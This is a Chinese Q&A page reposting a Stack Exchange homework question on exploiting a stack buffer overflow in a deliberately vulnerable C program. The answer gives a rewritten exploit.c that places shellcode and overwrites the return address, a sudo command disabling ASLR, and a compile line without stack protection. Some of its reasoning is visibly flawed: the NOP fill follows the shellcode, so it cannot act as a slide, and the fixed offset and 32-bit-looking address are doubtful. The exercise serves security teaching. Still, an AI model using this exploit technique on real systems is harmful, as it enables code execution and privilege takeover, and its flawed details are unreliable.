You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

缓冲区溢出攻击实现求助:exploit.c代码编写问题

缓冲区溢出攻击作业问题

背景与现状

  • 作业要求:在Ubuntu服务器上通过exploit.c对target.c实施缓冲区溢出攻击,禁止修改target.c,仅可修改exploit.c;成功攻击后会出现$$提示符。
  • 已完成准备:获取可用shellcode,通过GDB在target.c的foo()函数设置断点,用info frame拿到返回地址,已编译两个文件。
  • 当前问题:exploit编译运行正常,但无法获取shell权限。

现有代码

exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

// replace this define environment to have the correct path of your own target code
#define TARGET "/*******************"

int main(void)
{
  char *args[3];
  char *env[2];
  char *tmp = NULL;

  // Creating an input buffer that can cause buffer overflow in strcpy function in the target.c executable code
  int buffSize = 1000; 
  char buff[buffSize]; 
  // Intialize buffer elements to 0x01
  int i;  
   for (i=0; i < buffSize; i++)     buff[i] = 0x01;

  // write your code below to fill the 22 bytes shellcode into the buff variable, and 
  // at the correct location overwrite the return address correctly in order to achieve stack overflow
  // Your own code starts here:
 
  strcpy (buff[buffSize-22], shellcode);

  // Your code ends here.
  
  // prepare command line input to execute target code
  args[0] = TARGET; // you must have already compiled and generated the target executable code first
  args[1] = buff; // the first input parameter to the target code (artfully crafted buffer overflow string)
  args[2] = NULL;
  env[0] = "FOO=bar"; 
  env[1] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");
   return 0;
}

target.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int foo(char* arg)
{
  char localBuf[240];
  short len = 240;
  float var1=2.4;  
  int *ptr = NULL;
  strcpy(localBuf, arg);
  printf("foo() finishes normally.\n");
  return 0;
}

int kbhit(void)
{
  struct timeval tv;
  fd_set read_fd;
  tv.tv_sec=0;  tv.tv_usec=0;
  FD_ZERO(&read_fd);  FD_SET(0,&read_fd);
  if(select(1, &read_fd, NULL, NULL, &tv) == -1)
    return 0;
  if(FD_ISSET(0,&read_fd))
    return 1;
  return 0;
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  printf("Press any key to call foo function...\n");
  while(!kbhit())
    ;
  foo(argv[1]);
  return 0;
}

核心问题分析

  1. 错误使用strcpy复制shellcode:shellcode包含非ASCII字符和NULL字节,strcpy遇到NULL字节会立即停止复制,导致shellcode不完整,必须用逐字节复制(如memcpy或循环赋值)。
  2. 缓冲区布局错误:当前把shellcode放在buff末尾,而栈溢出需要:
    • 先填充localBuf及后续栈变量到返回地址的位置
    • 覆盖返回地址为shellcode在栈上的起始位置
    • 把shellcode放在缓冲区的可执行区域(通常是起始位置)

修正步骤与代码示例

步骤1:计算偏移量(64位系统为例)

foo()函数的栈布局(从高地址到低地址):

  • 返回地址(8字节)
  • RBP(8字节)
  • ptr(8字节)
  • var1(4字节)
  • len(2字节)
  • localBuf(240字节)

从localBuf起始到返回地址的总偏移为:240 + 2 + 4 + 8 + 8 = 262字节。即需要填充262字节后,写入返回地址。

步骤2:关闭ASLR(确保地址固定)

执行命令关闭地址空间随机化:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

步骤3:修正exploit.c代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

// 替换为你的target程序路径
#define TARGET "/path/to/your/target"

int main(void)
{
  char *args[3];
  char *env[2];
  int buffSize = 1000; 
  char buff[buffSize]; 
  int i;  

  // 初始化缓冲区为0x90(NOP指令,增加攻击容错)
  for (i=0; i < buffSize; i++) {
    buff[i] = 0x90;
  }

  // 1. 将shellcode复制到缓冲区起始位置
  memcpy(buff, shellcode, sizeof(shellcode) - 1); // 去掉shellcode末尾的NULL

  // 2. 计算返回地址的偏移位置(262字节)
  int ret_addr_offset = 262;
  // 替换为你通过GDB获取的shellcode在栈上的地址(小端序写入)
  unsigned long ret_addr = 0xffffdabc; // 替换为你的实际地址
  memcpy(buff + ret_addr_offset, &ret_addr, sizeof(ret_addr));

  // 准备执行参数
  args[0] = TARGET;
  args[1] = buff;
  args[2] = NULL;
  env[0] = "FOO=bar"; 
  env[1] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");
   return 0;
}

步骤4:编译target时关闭栈保护

gcc -fno-stack-protector -z execstack -o target target.c

步骤5:编译并运行exploit

gcc -o exploit exploit.c
./exploit

关键说明

  • 返回地址获取:在GDB中运行target,输入b foo打断点,运行后输入x/100x $rsp查看栈布局,找到localBuf的起始地址,这个地址就是shellcode的起始地址(因为buff会被复制到localBuf)。
  • 小端序注意:64位系统中地址是小端存储,直接用memcpy写入地址即可(变量在内存中本身就是小端序)。
  • NOP滑条:用0x90填充缓冲区,即使返回地址有微小偏差,也能滑到shellcode起始位置,提高攻击成功率。

内容的提问来源于stack exchange,提问作者NotACoder

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.31 19:29:44